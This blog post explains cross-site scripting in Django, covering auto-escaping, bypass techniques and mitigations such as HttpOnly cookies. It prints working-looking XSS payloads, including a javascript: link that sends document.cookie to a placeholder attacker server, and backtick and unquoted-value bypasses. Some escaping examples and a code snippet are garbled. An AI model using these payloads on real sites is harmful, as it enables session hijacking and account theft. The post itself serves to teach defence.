Python has become one of the most popular programming languages. One reason why programmers love Python is that they can use it for many use-cases. Among all these use-cases is web development. Django is a free and open-source web development framework that has gained a lot of interest.
When building web applications, security is crucial. Web applications have become a common target for malicious actors, and one of the most common attacks is cross-site scripting (XSS). In this post, letโs look at what XSS is and how XSS attacks work. Weโll then go through what security Django provides and how we can improve it.
An XSS attack is a technique where the attacker injects malicious client-side scripts into the web application

What Is XSS?
XSS is a vulnerability in web applications that allows the execution of illegitimate client-side scripts. And from an attackerโs perspective, an XSS attack is a technique where the attacker injects malicious client-side scripts into the web application. When the user requests the affected page, the malicious script is executed. Malicious actors use XSS for various purposes, including these common occurrences:
Stealing of sensitive information
Django Security
Unlike most web development frameworks, the developers of the Django framework have considered the security aspects. As a result, Django comes with built-in security features against XSS attacks. XSS attacks happen through injectionsโinjection of scripts that contain HTML tags.
For example, letโs say that a web application takes a username as input and then greets the user using their name. If the input to a field in the web application is Tony , then the response sent to the user would be:
Hello, Tony!
Basically, the application is using the input and adding it to the pre-decided text. Once the application builds this result, it sends the response to the userโs browser where the response is rendered.
The above example might seem harmless. But letโs see how this process could be dangerous. The first rule of web application security is never to trust user input. So, what if instead of giving the username as input, a malicious actor gave a malicious input? If the input was <script>alert(โXSSโ);</script>; , the response sent to user would be:
Hello, <script>alert(โXSSโ);</script>
And this code when rendered would display an alert with the text โXSSโ. But this injection wouldnโt work in Django, because Django has an automatic HTML escaping feature. This feature converts certain HTML characters into their HTML code as follows:
< is converted to <
> is converted to >
โ (single quote) is converted to ‘
โ (double quote) is converted to “
& is converted to &
So, when the above malicious input is given, Django converts the input to < script > alert( โ XSS โ ); < /script > . And when this is rendered on the browser, it doesnโt execute because itโs not a script anymore. But is this enough to prevent an XSS attack? Of course not.
Django XSS Examples
Django sure provides a layer of security by escaping HTML characters. But malicious actors would already know that. Attackers are getting more creative day by day and come up with ways to get over default security features. So, letโs look at some examples of how XSS attacks can work in Django.
When you give input, Django forcefully encodes it and then escapes dangerous characters.
Base64 Encoding
Django by default uses Unicode and UTF-8 encoding. When you give input, Django forcefully encodes it and then escapes dangerous characters. But this doesnโt work for base64 encoded strings. In the above example, where we saw that some characters are replaced with the HTML code, the input is considered as UTF-8. But if you can change this default, you can bypass escaping.
To do this, youโll first have to change the data protocol to base64 in the request:
data:text/html;base64
Then youโll have to convert your injection to a base64 string. For example, if you encode the string alert(โXSS Attackโ); to base64, it would convert to PHNjcmlwdD5hbGVydCgnWFNTIEF0dGFjaycpOzwvc2NyaXB0Pg== . And this encoded string will be your payload.
Unquoted Payload
Django by default sanitizes quoted data. But if you see the application using unquoted dataโfor example, JavaScript integersโthen the application could be vulnerable to XSS attack.
For example, if the application is asking the userโs age and using a JavaScript integer to store it, there are no quotes involved. Therefore, thereโs no security by default. So, a payload like 27 ; payload_function() would be a successful XSS attack. Such cases are observed commonly where widgets, objects, and so on are used.
Letโs say youโre using a widget to collect user information. You can have different fields.
var user = new userWidget();
user.name = {{ username }} ;
user.age = {{ age }} ;
user.email = {{ emailID }} ;
If this application is using JavaScript integers to store the age, then the age value wouldnโt be quoted. This means that Djangoโs sanitization wonโt apply to it. If the attacker injects payload into the age value, for example, 25 ; alert(โXSS Attackโ);, it could lead to an XSS attack.
Template Literals
Djangoโs escape function escapes single quotes and double quotes. Wouldnโt it be better if there was something that had the same function as these characters but wasnโt escaped? Well, there isโthe backtick ( ` ).
For a browser, โHello World!โ is the same as `Hello World!`
A backtick is a template literal that acts as quotes but isnโt escaped by Djangoโs escape function. So, you can craft your injection with backticks to bypass escaping.
Letโs say your application takes the location of an image and displays it on the page using the img tag. So, if your input is /Images/cyber.png , then the page would have a tag like:
<img src="/Images/cyber.png"/>
If you try to inject a malicious payload using quotes, say your input is javascript:alert(โXSSโ) . This input would go through escaping, and we would get:
<img src="javascript:alert("XSS")>
The payload fails to execute the script. But we can get through this using template literals. If your input is javascript:alert(`XSS`). Django would not escape the backtick (`). So, we would get:
<img src="
javascript:alert(`XSS`)
>
And this is a valid payload.
JavaScript Embedded Attributes
In some cases, the web application might let users add a link to the page. For example, a blog page can allow authors to add their Git profile link. When the URL is added, itโs hyperlinked on the page using anchor tags . Now a malicious actor can embed a JavaScript payload in these attributes. And because these payloads arenโt usually escaped, the payload would carry out an XSS attack.
Legit value:
<a href="www.xyz,com">My Profile</a>
Malicious payload:
<a href="javascript:document.location='http://<attacker's remote server>/getcookie.php?cookie='+document.cookie;">My Profile</a>
My Profile
If this is the payload, when the user clicks on the link, the application collects a cookie from the userโs browser and sends it to the attackerโs remote server. The attacker can then use that cookie to gain access to the userโs account.
Unsafe Use of โSafeโ
Django by default escapes data, but it provides a safe filter you can use to disable escaping for particular data. The safe filter is used mostly when data is known to be safe. But unsafe use of this filter could result in XSS vulnerabilities. If a malicious actor finds out that youโve been tagging a data value as safe, they could inject their malicious script in that data field. And because itโs marked as safe, Django wonโt escape it. As a result, when the data with the malicious script is rendered, an XSS attack is performed.
For example, say the value of name is โ Tony alert(โXSSโ); โ.
When you render this value with default configuration (HTML escaping enabled) using this code:
{{ name }}
The output will be as follows:
_Tony <_script_>_alert(_'_XSS_'_);_<_/script_>_
But if you mark name as safe:
{{ name | safe }}
Then the output will be:
Tony <script>alert('XSS');</script>
In this case, because the data is marked as safe, it is not escaped. As a result, the payload will be executed.
Django XSS Prevention
Weโve seen how malicious actors can get around Djangoโs default security to execute an XSS attack. And the above should be more than enough to understand that we need more security. So here are a few measures you can take to increase security.
Safe Filter
Misuse of the safe filter can be dangerous, as depicted in the example above. Hence, itโs very important to be smart and careful in using it. Donโt use this filter if itโs not necessary. If the application is developed, find all the instances of this filter. You can then evaluate if itโs really necessary. If itโs necessary, then analyze its impact on security and implement additional measures.
Input Sanitization
The first rule of web application security is to never trust user input. There are infinite possible user inputs, and obviously, not all are safe. Unsafe inputs from users could be intentional or unintentional. Irrespective of the intent, theyโre still dangerous. You need to sanitize all user input to eliminate risks. Input sanitization is a method of making the input safe for use in or by the web application.
Django by default uses HTML escaping. You can extend this to JavaScript as well using Python libraries. JavaScript escaping escapes special characters except @*_+-./ . It also encodes blank spaces to its equivalent code. This would make more payloads useless.
Example:
import urlliba = 'Example for escaping.php?name=alert("XSS")'
print(urllib.parse.quote(a))
Output:
Example%20for%20escaping.php%3Fname%3D%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
HttpOnly
Web applications use the HttpOnly flag to restrict the access of cookies from the client-side script. If the HttpOnly flag is enabled, access to the cookie is restricted to the server alone. By using the HttpOnly flag, you can eliminate the risk of an attacker obtaining cookie information using XSS attacks.
You can enable this feature in Django by adding the following line in settings.py file of your Django project:
SESSION_COOKIE_HTTPONLY = True
Django has certain security features, not just for XSS but also for other risks.
The Bottom Line
Django is great if you want to build web applications faster, but you shouldnโt neglect security in your haste. Django has certain security features, not just for XSS but also for other risks. XSS is a dangerous attack that has catastrophic results. Hence, itโs one of the most crucial attacks you need to protect your application against. The above-mentioned mitigation techniques are just the tip of the iceberg. To have the best security for your application, you need regular tests , analysis, and security fixes.
This post was written by Omkar Hiremath. Omkar is a cybersecurity analyst who is enthusiastic about cybersecurity, ethical hacking, data science, and Python. Heโs a part time bug bounty hunter and is keenly interested in vulnerability and malware analysis.